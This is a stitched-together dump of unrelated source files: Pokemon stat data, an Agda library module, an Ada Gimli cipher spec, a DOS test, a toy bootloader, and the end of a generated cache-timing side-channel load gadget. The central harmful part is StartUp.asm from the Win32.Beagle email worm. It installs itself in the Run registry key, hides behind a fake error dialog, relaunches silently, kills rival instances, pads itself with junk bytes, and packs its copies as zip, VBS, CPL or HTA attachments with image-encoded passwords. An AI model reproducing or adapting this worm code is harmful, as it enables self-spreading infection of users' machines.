addresses_D_ht+0xd2b2, %rcx nop sub %rdi, %rdi movb $0x61, (%rcx) nop inc %rsi pop %rsi pop %rdi pop %rcx pop %rbx pop %r15 pop %r14 pop %r10 ret .global s_faulty_load s_faulty_load: push %r9 push %rax push %rcx push %rdi push %rdx push %rsi // Faulty Load lea addresses_RW+0x8eb2, %r9 nop and $16700, %rdi movups (%r9), %xmm1 vpextrq $0, %xmm1, %rdx lea oracles, %r9 and $0xff, %rdx shlq $12, %rdx mov (%r9,%rdx,1), %rdx pop %rsi pop %rdx pop %rdi pop %rcx pop %rax pop %r9 ret /* <gen_faulty_load> [REF] {'src': {'type': 'addresses_RW', 'same': False, 'size': 32, 'congruent': 0, 'NT': False, 'AVXalign': True}, 'OP': 'LOAD'} [Faulty Load] {'src': {'type': 'addresses_RW', 'same': True, 'size': 16, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'type': 'addresses_WC_ht', 'congruent': 7, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 8, 'same': True}, 'OP': 'REPM'} {'src': {'type': 'addresses_A_ht', 'congruent': 4, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 11, 'same': False}, 'OP': 'REPM'} {'dst': {'type': 'addresses_A_ht', 'same': False, 'size': 32, 'congruent': 10, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'src': {'type': 'addresses_normal_ht', 'same': False, 'size': 4, 'congruent': 3, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_WC_ht', 'same': False, 'size': 1, 'congruent': 6, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'dst': {'type': 'addresses_normal_ht', 'same': False, 'size': 4, 'congruent': 10, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'dst': {'type': 'addresses_WC_ht', 'same': False, 'size': 2, 'congruent': 5, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'src': {'type': 'addresses_WT_ht', 'same': False, 'size': 8, 'congruent': 7, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'dst': {'type': 'addresses_D_ht', 'same': False, 'size': 1, 'congruent': 10, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'32': 21829} 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 */
data/pokemon/base_stats/sinnoh/shinx.asm
Dev727/ancientplatinum
0
93792
db 0 ; 403 DEX NO db 46, 65, 34, 45, 40, 34 ; hp atk def spd sat sdf db ELECTRIC, ELECTRIC ; type db 235 ; catch rate db 60 ; base exp db NO_ITEM, NO_ITEM ; items db GENDER_F50 ; gender ratio db 100 ; unknown 1 db 20 ; step cycles to hatch db 5 ; unknown 2 INCBIN "gfx/pokemon/sinnoh/shinx/front.dimensions" db 0, 0, 0, 0 ; padding db GROWTH_MEDIUM_SLOW ; growth rate dn EGG_GROUND, EGG_GROUND ; egg groups ; tm/hm learnset tmhm ; end
Win32/Win32.Beagle/StartUp.asm
fengjixuchui/Family
3
806
<filename>Win32/Win32.Beagle/StartUp.asm ; StartUp Stuff, Loading settings, etc... ; ######################################################################### .data szShowMessage db "Can't find a viewer associated with the file",0 szShowCaption db "Error!",0 szRegAutoPath db "SOFTWARE\Microsoft\Windows\CurrentVersion\Run",0 szTextOpen db "open",0 szExeExe db ".exe",0 szExeScr db ".scr",0 szExeCom db ".com",0 szExeZip db ".zip",0 szExeVbs db ".vbs",0 szExeHta db ".hta",0 szExeCpl db ".cpl",0 b64Attach dd 0 b64AttachLen dd 0 b64SrcAttach dd 0 b64SrcAttachLen dd 0 b64Password dd 0 b64PasswordLen dd 0 b64PasswordMime dd 0 ; Admin thread mutex mootex dd 0 ; Mooo-moooo :) szAttachExt dd offset szExeScr bPassImgOnly dd 0 .data? ; Zip password szZipPassBuff db 101 dup(?) ; Real worm name szSysDirFileName db MAX_PATH+1 dup(?) ; Current worm name (being executed) szRunFileName db MAX_PATH+1 dup(?) .code EmailRandInit proto EmailRandomExt proto ; Write autorun WriteAutoStart proc LOCAL hkHandle: DWORD ; Write autorun invoke RegCreateKey, HKEY_CURRENT_USER, offset szRegAutoPath, addr hkHandle invoke lstrlen, offset szSysDirFileName invoke RegSetValueEx, hkHandle, offset szBglAutoKey, 0, REG_SZ, offset szSysDirFileName, eax invoke RegCloseKey, hkHandle ret WriteAutoStart endp ; Remove registry entries (uninistall) ; Suicide disabled DoSelfDelete proc LOCAL hkHandle: DWORD invoke RegDeleteKey, HKEY_CURRENT_USER, offset szRegBasePath invoke RegCreateKey, HKEY_CURRENT_USER, offset szRegAutoPath, addr hkHandle invoke RegDeleteValue, hkHandle, offset szBglAutoKey invoke RegCloseKey, hkHandle invoke ExitProcess, 0 ret DoSelfDelete endp ; Get ptr to last section in .exe file (IN: ebx - ptr to file) LastSectionHeadPtr proc PEPtrB eax, ebx movzx ecx, word ptr[eax+06h] dec ecx ; Num * 28h xor edx, edx mov eax, 28h ; obj table size mul ecx ; ...+ PE + 0f8h PEPtrB edx, ebx add eax, edx add eax, 0f8h ; size of PE header ret LastSectionHeadPtr endp ; Get file length and truncate it to it's real length ; then append 5-1505 bytes of junk TruncSrcFile proc uses ebx edi lpIn: DWORD LOCAL hFileOut, bWritten: DWORD LOCAL JUNK_BYTE: BYTE IFNDEF TESTVERSION invoke Sleep, 3000 ENDIF invoke CreateFile, lpIn, GENERIC_READ or GENERIC_WRITE, FILE_SHARE_READ or FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL mov hFileOut, eax inc eax jz @tsf_ret xor edi, edi invoke CreateFileMapping, hFileOut, NULL, PAGE_READWRITE, 0, 0, NULL .IF eax push eax invoke MapViewOfFile, eax, FILE_MAP_ALL_ACCESS, 0, 0, 0 .IF eax mov ebx, eax invoke LastSectionHeadPtr mov edi, [eax][SectionHead.PhysOffs] add edi, [eax][SectionHead.PhysSize] invoke UnmapViewOfFile, ebx .ENDIF call CloseHandle .ENDIF invoke SetFilePointer, hFileOut, edi, 0, 0 invoke SetEndOfFile, hFileOut invoke SetFilePointer, hFileOut, 0, 0, FILE_END ; Write junk data invoke Rand, 1500 add eax, 5 mov edi, eax @l: invoke Rand, 200 mov JUNK_BYTE, al invoke WriteFile, hFileOut, addr JUNK_BYTE, 1, addr bWritten, NULL dec edi jnz @l invoke CloseHandle, hFileOut @tsf_ret: ret TruncSrcFile endp ; Convert Sources attach to Base64 format SrcFileToBase64 proc invoke GlobalAlloc, GPTR, SrcFileLen shl 1 mov b64SrcAttach, eax invoke Base64Encode, offset SrcFile, eax, SrcFileLen invoke lstrlen, b64SrcAttach mov b64SrcAttachLen, eax ret SrcFileToBase64 endp ; Convert file to Base64 format FileToBase64 proc uses ebx edi lpDestFileName, outMem, outLen: DWORD LOCAL hFile, dwFileSize: DWORD xor edi, edi invoke CreateFile, lpDestFileName, GENERIC_READ, FILE_SHARE_READ or FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, 0 mov hFile, eax inc eax jz @file_open_error invoke GetFileSize, hFile, 0 mov dwFileSize, eax inc eax jz @file_open_close invoke CreateFileMapping, hFile, NULL, PAGE_READONLY, 0, 0, NULL .IF eax mov ebx, eax invoke MapViewOfFile, eax, FILE_MAP_READ, 0, 0, 0 .IF eax push eax mov eax, dwFileSize shl eax, 1 invoke GlobalAlloc, GPTR, eax mov edx, outMem mov [edx], eax mov edx, [esp] invoke Base64Encode, edx, eax, dwFileSize mov edx, outMem invoke lstrlen, [edx] mov edx, outLen mov [edx], eax call UnmapViewOfFile inc edi .ENDIF invoke CloseHandle, ebx .ENDIF @file_open_close: invoke CloseHandle, hFile @file_open_error: mov eax, edi ret FileToBase64 endp EmailRandomPassOnlyFmt proto EncodePass proc uses ebx szPass: DWORD LOCAL lpwData[50]: BYTE LOCAL lpDestFileName: DWORD invoke Rand, 100 .IF eax > 70 ; 30% image password only mov bPassImgOnly, 1 invoke EmailRandomPassOnlyFmt invoke wsprintf, addr lpwData, eax, szPass .ELSE ; 70% normal message invoke lstrcpy, addr lpwData, szPass .ENDIF invoke GlobalAlloc, GPTR, 8192 mov lpDestFileName, eax invoke lstrcpy, eax, offset szSysDirFileName invoke lstrcat, lpDestFileName, offset szTextOpen invoke lstrcat, lpDestFileName, offset szTextOpen invoke lstrcat, lpDestFileName, offset szTextOpen invoke GenTextPassImage, addr lpwData, lpDestFileName test eax, eax jz @file_open_error mov b64PasswordMime, eax invoke FileToBase64, lpDestFileName, offset b64Password, offset b64PasswordLen @file_open_error: invoke GlobalFree, lpDestFileName ret EncodePass endp IFNDEF DisableInfect LoadWorkFile proto :DWORD ENDIF EncodeSelf proc uses ebx LOCAL hFile, hFile2, dwFileSize, dwWritten: DWORD LOCAL lpDestFileName, lpSrcFileName, lpOrigFileName, lpTextFileName, lpTextFileName2: DWORD LOCAL buf2[30]: BYTE LOCAL buf[30]: BYTE invoke GlobalAlloc, GPTR, 8192 mov lpTextFileName, eax invoke GlobalAlloc, GPTR, 8192 mov lpTextFileName2, eax invoke GetRandomID, eax, 6 invoke GlobalAlloc, GPTR, 8192 mov lpDestFileName, eax invoke lstrcpy, lpDestFileName, offset szSysDirFileName invoke StrDup, lpDestFileName mov lpOrigFileName, eax invoke lstrcat, lpDestFileName, offset szTextOpen invoke StrDup, lpDestFileName mov lpSrcFileName, eax invoke lstrcat, lpDestFileName, offset szTextOpen invoke lstrcpy, lpTextFileName, lpDestFileName invoke lstrcat, lpTextFileName, offset szTextOpen invoke lstrcat, lpTextFileName, offset szTextOpen invoke SetFileAttributes, lpSrcFileName, FILE_ATTRIBUTE_NORMAL invoke SetFileAttributes, lpTextFileName, FILE_ATTRIBUTE_NORMAL invoke SetFileAttributes, lpDestFileName, FILE_ATTRIBUTE_NORMAL invoke CopyFile, lpOrigFileName, lpSrcFileName, FALSE ; Zero set password invoke ZeroMemory, offset szZipPassBuff, 100 ; Remove junk bytes invoke TruncSrcFile, lpSrcFileName ; Random bytes in .xxx file invoke ZeroMemory, addr buf2, 30 invoke Rand, 5 add eax, 5 invoke GetRandomID, addr buf2, eax invoke EmailRandomExt invoke lstrcat, addr buf2, eax ; Choose random .exe name for zip attach invoke ZeroMemory, addr buf, 30 invoke Rand, 5 add eax, 5 invoke GetRandomID, addr buf, eax invoke lstrcat, addr buf, offset szExeExe invoke Rand, 100 .IF eax >= 50 ; 50% zip, vbs, cpl, hta invoke Rand, 100 .IF eax >= 80 ; 20% zip ; Create junk file invoke CreateFile, lpTextFileName, GENERIC_WRITE or GENERIC_READ, FILE_SHARE_READ or FILE_SHARE_WRITE, NULL, CREATE_ALWAYS, 0, NULL mov hFile2, eax invoke lstrlen, lpTextFileName2 xchg eax, edx invoke WriteFile, hFile2, lpTextFileName2, edx, addr dwWritten, NULL invoke CloseHandle, hFile2 ; Gen password invoke GetRandomNumID, offset szZipPassBuff, 5 invoke EncodePass, offset szZipPassBuff mov szAttachExt, offset szExeZip invoke CreateZipFile, lpSrcFileName, lpTextFileName, lpDestFileName, addr buf, addr buf2, offset szZipPassBuff .ELSEIF eax >= 50 ; 30% vbs mov szAttachExt, offset szExeVbs invoke CreateVBSFile, lpSrcFileName, lpDestFileName .ELSEIF eax >= 20 ; 30% cpl mov szAttachExt, offset szExeCpl invoke CreateCPLFile, lpSrcFileName, lpDestFileName .ELSE ; 20% hta mov szAttachExt, offset szExeHta invoke CreateHTAFile, lpSrcFileName, lpDestFileName .ENDIF .ELSE ; 50% plain invoke Rand, 100 .IF eax >= 80 ; 20% exe mov szAttachExt, offset szExeExe .ELSEIF eax >= 40 ; 40% com mov szAttachExt, offset szExeCom .ELSE ; 40% scr mov szAttachExt, offset szExeScr .ENDIF invoke SetFileAttributes, lpDestFileName, FILE_ATTRIBUTE_NORMAL invoke CopyFile, lpSrcFileName, lpDestFileName, FALSE .ENDIF test eax, eax jz @file_open_error invoke FileToBase64, lpDestFileName, offset b64Attach, offset b64AttachLen @file_open_error: invoke GlobalFree, lpDestFileName invoke LocalFree, lpSrcFileName invoke LocalFree, lpOrigFileName invoke GlobalFree, lpTextFileName invoke GlobalFree, lpTextFileName2 IFNDEF DisableInfect invoke LoadWorkFile, offset szSysDirFileName ENDIF ret EncodeSelf endp IsShouldRun proc LOCAL SysTime: SYSTEMTIME LOCAL UntilTime: SYSTEMTIME LOCAL FilTime: FILETIME LOCAL UntilFil: FILETIME invoke GetLocalTime, addr SysTime invoke ZeroMemory, addr UntilTime, sizeof SYSTEMTIME mov UntilTime.wYear, WorkUntilYear mov UntilTime.wMonth, WorkUntilMonth mov UntilTime.wDay, WorkUntilDay invoke SystemTimeToFileTime, addr SysTime, addr FilTime invoke SystemTimeToFileTime, addr UntilTime, addr UntilFil invoke CompareFileTime, addr FilTime, addr UntilFil .IF eax == 1 xor eax, eax .ELSE xor eax, eax inc eax .ENDIF ret IsShouldRun endp ; Delete previous instance if running KillPrevInst proc uses esi ebx LOCAL Process: PROCESSENTRY32 LOCAL hSnapshot: DWORD invoke GetCurrentProcessId mov esi, eax mov ebx, offset szBglRealName inc ebx mov Process.dwSize, sizeof PROCESSENTRY32 invoke CreateToolhelp32Snapshot, TH32CS_SNAPPROCESS, 0 mov hSnapshot, eax invoke Process32First, hSnapshot, addr Process @l: .IF eax invoke StrStrI, addr Process.szExeFile, ebx .IF (eax) && (Process.th32ProcessID != esi) invoke KillProcess, Process.th32ProcessID .ENDIF invoke Process32Next, hSnapshot, addr Process jmp @l .ENDIF invoke CloseHandle, hSnapshot IFNDEF TESTVERSION invoke Sleep, 3500 ENDIF xor eax, eax ret KillPrevInst endp StartUp proc LOCAL upd: DWORD mov upd, FALSE invoke CRC32BuildTable invoke Randomize invoke EmailRandInit ; Get loader filename & add it to autorun invoke GetSystemDirectory, offset szSysDirFileName, MAX_PATH invoke lstrcat, offset szSysDirFileName, offset szBglRealName invoke GetModuleFileName, NULL, offset szRunFileName, MAX_PATH invoke WriteAutoStart invoke SetFileAttributes, offset szSysDirFileName, FILE_ATTRIBUTE_NORMAL invoke GetCommandLine @check_upd_loop: cmp dword ptr[eax+1], 'dpu-' jz @do_update IFDEF TESTVERSION cmp dword ptr[eax+1], 'led-' jz @do_del ENDIF inc eax cmp byte ptr[eax+4], 0 jnz @check_upd_loop jmp @do_not_update IFDEF TESTVERSION @do_del: invoke KillPrevInst invoke DoSelfDelete ENDIF @do_update: mov upd, TRUE invoke KillPrevInst @do_not_update: ; Check if running from system folder invoke lstrcmpi, offset szRunFileName, offset szSysDirFileName .IF eax ; Running from unknown folder ; Show error message .IF !upd invoke GetDesktopWindow invoke MessageBox, eax, offset szShowMessage, offset szShowCaption, MB_ICONERROR .ENDIF ; Copy file to %system% folder and run invoke SetFileAttributes, offset szSysDirFileName, FILE_ATTRIBUTE_NORMAL invoke CopyFile, offset szRunFileName, offset szSysDirFileName, FALSE .IF eax invoke SetFileAttributes, offset szSysDirFileName, FILE_ATTRIBUTE_NORMAL invoke ShellExecute, 0, offset szTextOpen, offset szSysDirFileName, NULL, NULL, SW_HIDE .ENDIF invoke ExitProcess, 0 .ELSE ; Running from system folder, start replacation code .ENDIF ret StartUp endp
vendor/stdlib/src/Data/Sum.agda
isabella232/Lemmachine
56
15767
<reponame>isabella232/Lemmachine ------------------------------------------------------------------------ -- Sums (disjoint unions) ------------------------------------------------------------------------ module Data.Sum where open import Data.Function open import Data.Maybe.Core ------------------------------------------------------------------------ -- Definition infixr 1 _⊎_ data _⊎_ (A B : Set) : Set where inj₁ : (x : A) → A ⊎ B inj₂ : (y : B) → A ⊎ B ------------------------------------------------------------------------ -- Functions [_,_] : ∀ {A B} {C : A ⊎ B → Set} → ((x : A) → C (inj₁ x)) → ((x : B) → C (inj₂ x)) → ((x : A ⊎ B) → C x) [ f , g ] (inj₁ x) = f x [ f , g ] (inj₂ y) = g y [_,_]′ : ∀ {A B C : Set} → (A → C) → (B → C) → (A ⊎ B → C) [_,_]′ = [_,_] map : ∀ {a b c d} → (a → c) → (b → d) → (a ⊎ b → c ⊎ d) map f g = [ inj₁ ∘ f , inj₂ ∘ g ] infixr 1 _-⊎-_ _-⊎-_ : ∀ {a b} → (a → b → Set) → (a → b → Set) → (a → b → Set) f -⊎- g = f -[ _⊎_ ]₁- g isInj₁ : ∀ {A B} → A ⊎ B → Maybe A isInj₁ (inj₁ x) = just x isInj₁ (inj₂ y) = nothing isInj₂ : ∀ {A B} → A ⊎ B → Maybe B isInj₂ (inj₁ x) = nothing isInj₂ (inj₂ y) = just y
SE-2/MIL/3_tsr-div0/div0.asm
Adityajn/College-Codes
1
67
.MODEL TINY .CODE ORG 100H BEGIN: MOV AX,10H MOV BX,0H DIV BX MOV AH,4CH INT 21H END BEGIN
src/common/gimli.ads
damaki/libkeccak
26
11360
------------------------------------------------------------------------------- -- Copyright (c) 2019, <NAME> -- All rights reserved. -- -- Redistribution and use in source and binary forms, with or without -- modification, are permitted provided that the following conditions are met: -- * Redistributions of source code must retain the above copyright -- notice, this list of conditions and the following disclaimer. -- * Redistributions in binary form must reproduce the above copyright -- notice, this list of conditions and the following disclaimer in the -- documentation and/or other materials provided with the distribution. -- * The name of the copyright holder may not be used to endorse or promote -- Products derived from this software without specific prior written -- permission. -- -- THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" -- AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE -- IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE -- ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER BE LIABLE FOR ANY -- DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES -- (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; -- LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND -- ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -- (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF -- THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. ------------------------------------------------------------------------------- with Interfaces; use Interfaces; with Keccak.Types; -- @summary -- Implementation of the Gimli permutation. package Gimli with SPARK_Mode => On is State_Size_Bits : constant := 384; -- The Gimli state size, in bits. type State is private; -- The Gimli state. procedure Init (S : out State) with Global => null, Depends => (S => null); -- Initialise the Gimli state to all zeroes. procedure Permute (S : in out State) with Global => null, Depends => (S =>+ null); -- Apply the Gimli permutation function. procedure XOR_Bits_Into_State (S : in out State; Data : in Keccak.Types.Byte_Array; Bit_Len : in Natural) with Global => null, Depends => (S =>+ (Data, Bit_Len)), Pre => (Bit_Len <= State_Size_Bits and then (Bit_Len + 7) / 8 <= Data'Length); -- XOR an arbitrary number of bits into the Gimli state. -- -- The data size (in bits) cannot exceed the Gimli size (384 bits). procedure Extract_Bytes (S : in State; Data : out Keccak.Types.Byte_Array) with Global => null, Depends => (Data =>+ S), Pre => Data'Length <= (State_Size_Bits / 8); pragma Annotate (GNATprove, False_Positive, """Data"" might not be initialized", "GNATprove issues a false positive due to the use of loops to initialize Data"); -- Copy bytes from the Gimli state. -- -- The number of bytes to copy cannot exceed the Gimli state size (48 bytes) procedure Extract_Bits (A : in State; Data : out Keccak.Types.Byte_Array; Bit_Len : in Natural) with Global => null, Depends => (Data =>+ (A, Bit_Len)), Pre => (Bit_Len <= State_Size_Bits and then Data'Length = (Bit_Len + 7) / 8); -- Copy bits from the Gimli state. -- -- The number of bits to copy cannot exceed the Gimli state size (384 bits) private type Row_Number is range 0 .. 2; type Column_Number is range 0 .. 3; type Round_Number is range 1 .. 24; type State is array (Column_Number, Row_Number) of Unsigned_32 with Size => 384; procedure SP_Box (S : in out State) with Inline, Global => null, Depends => (S =>+ null); -- SP-box operation. procedure Swap (A, B : in out Unsigned_32) with Inline, Global => null, Depends => (A => B, B => A), Post => (A = B'Old and B = A'Old); -- Swap two words. end Gimli;
kernel.asm
abdalmoez/GOBOOT16
0
11770
[BITS 16] ORG 0 mov ax,0x0050 mov ds,ax mov es,ax mov fs,ax mov al,'$' mov ah,0xE int 0x10 mov si,msg call Print jmp $ msg db "Hello world\nThe code page stored in ROM is also called the hardware code page. In Western PCs it typically defaults to code page 437, but various Eastern European PCs used a number of other code pages as hardware code page, sometimes user-selectable via jumpers or CMOS setup. Arabic and Hebrew PCs and printers even supported multiple software-switchable hardware code pages, also named font pages." db "The original IBM PC contained this font as a 9×14 pixels-per-character font stored in the ROM of the IBM Monochrome Display Adapter (MDA) and an 8×8 pixels-per-character font of the Color Graphics Adapter (CGA) cards. The IBM Enhanced Graphics Adapter (EGA) contained an 8×14 pixels-per-character version, and the VGA contained a 9×16 version.All these display adapters have text modes in which each character cell contains an 8-bit character code point (see details), giving 256 possible values for graphic characters. All 256 codes were assigned a graphical character in ROM, including the codes from 0 to 31 that were reserved in ASCII for non-graphical control characters." db "\nA legacy of code page 437 and other DOS codepages is the set of number combinations used in Windows Alt keycodes introduced in the first versions of MS-DOS. The user could enter a character by holding down the Alt key and entering the three-digit decimal Alt keycode on the numpad. When Microsoft switched to more standard character sets (such as CP1252 and later Unicode) in Windows, so many users had memorized the numbers used by their DOS codepage that Microsoft had to retain the original codes (they added the ability to type a code in the current character set by typing the numpad 0 before the digits)" db "\nThe first cluster of the data area is cluster #2. That leaves the first two entries of the FAT unused. In the first byte of the first entry a copy of the media descriptor is stored. The remaining bits of this entry are 1. In the second entry the end-of-file marker is stored. The high order two bits of the second entry are sometimes, in the case of FAT16 and FAT32, used for dirty volume management: high order bit 1: last shutdown was clean; next highest bit 1: during the previous mount no disk I/O errors were detected." db "The first byte of a name must not be 0x20 (space). Short names or extensions are padded with spaces. Special ASCII characters 0x22 ('), 0x2a (*), 0x2b (+), 0x2c (,), 0x2e (.), 0x2f (/), 0x3a (:), 0x3b (;), 0x3c (<), 0x3d (=), 0x3e (>), 0x3f (?), 0x5b ([), 0x5c (\), 0x5d (]), 0x7c (|) are not allowed. " db "In Windows 95 a variation was introduced: VFAT. VFAT (Virtual FAT) is FAT together with long filenames (LFN), that can be up to 255 bytes long. The implementation is an ugly hack. These long filenames are stored in special directory entries. A special entry looks like this: " db "The short name is derived from the long name as follows: The extension is the extension of the long name, truncated to length at most three. The first six bytes of the short name equal the first six nonspace bytes of the long name, but bytes +,;=[], that are not allowed under DOS, are replaced by underscore. Lower case is converted to upper case. The final two (or more, up to seven, if necessary) bytes become ~1, or, if that exists already, ~2, etc., up to ~999999. OK :)" db "The licenses for most software are designed to take away your" db "freedom to share and change it. By contrast, the GNU General Public" db "License is intended to guarantee your freedom to share and change free" db "software--to make sure the software is free for all its users. This" db "General Public License applies to most of the Free Software" db "Foundation's software and to any other program whose authors commit to" db "using it. (Some other Free Software Foundation software is covered by" db "the GNU Library General Public License instead.) You can apply it to" db "your programs, too." db " When we speak of free software, we are referring to freedom, not" db "price. Our General Public Licenses are designed to make sure that you" db "have the freedom to distribute copies of free software (and charge for" db "this service if you wish), that you receive source code or can get it" db "if you want it, that you can change the software or use pieces of it" db "in new free programs; and that you know you can do these things." db " To protect your rights, we need to make restrictions that forbid" db "anyone to deny you these rights or to ask you to surrender the rights." db "These restrictions translate to certain responsibilities for you if you" db "distribute copies of the software, or if you modify it." db " For example, if you distribute copies of such a program, whether" db "gratis or for a fee, you must give the recipients all the rights that" db "you have. You must make sure that they, too, receive or can get the" db "source code. And you must show them these terms so they know their" db "rights." db " We protect your rights with two steps: (1) copyright the software, and" db "(2) offer you this license which gives you legal permission to copy," db "distribute and/or modify the software." db "Also, for each author's protection and ours, we want to make certain" db "that everyone understands that there is no warranty for this free" db "software. If the software is modified by someone else and passed on, we" db "want its recipients to know that what they have is not the original, so" db "that any problems introduced by others will not reflect on the original" db "authors' reputations." db " Finally, any free program is threatened constantly by software" db "patents. We wish to avoid the danger that redistributors of a free" db "program will individually obtain patent licenses, in effect making the" db "program proprietary. To prevent this, we have made it clear that any" db "patent must be licensed for everyone's free use or not licensed at all." db "AVAST END USER LICENSE AGREEMENT(FREE VERSION)PLEASE READ THE TERMS AND CONDITIONS OF THIS LICENSE AGREEMENT (“AGREEMENT”) CAREFULLY BEFORE USING THE SOFTWARE (AS DEFINED BELOW). THIS IS A LEGALLY BINDING CONTRACT BETWEEN YOU AND AVAST SOFTWARE a.s., A COMPANY DULY ORGANIZED AND EXISTING UNDER THE LAWS OF THE CZECH REPUBLIC, REGISTERED IN THE COMMERCIAL REGISTER MAINTAINED BY THE MUNICIPAL COURT IN PRAGUE IN SECTION B, INSERT NO. 11402 (“AVAST”). BY ASSENTING ELECTRONICALLY, INSTALLING OR USING THIS SOFTWARE YOU ACCEPT ALL THE TERMS AND CONDITIONS OF THIS AGREEMENT. If you do not agree with the terms and conditions of this Agreement, do not continue the installation process and delete or destroy all copies of the Software in your possession. This Agreement accompanies certain software (including any upgrades or updates thereto as provided by AVAST, the “Software”) and related explanatory written materials (the “Documentation”). 1. LicenseAVAST grants to you a non-exclusive perpetual license to use the Software and the Documentation for so long as AVAST makes the Software available, provided that you agree to the terms and conditions of this Agreement. 2. Permitted Use of the SoftwareYou" db " may install and use the Software on an unlimited number of computers. The Software must be used exclusively by you or members of your household solely for private non-commercial purposes. You may also make one backup copy of the Software.ANY USE OF THE SOFTWARE OTHER THAN AS EXPRESSLY AUTHORIZED BY THIS SECTION OR ANY RESALE OR FURTHER DISTRIBUTION OF THE SOFTWARE CONSTITUTES A MATERIAL BREACH OF THIS AGREEMENT AND MAY VIOLATE APPLICABLE COPYRIGHT LAWS.3." db " Upgrades and UpdatesUpgrades and updates of the Software shall be provided to you by 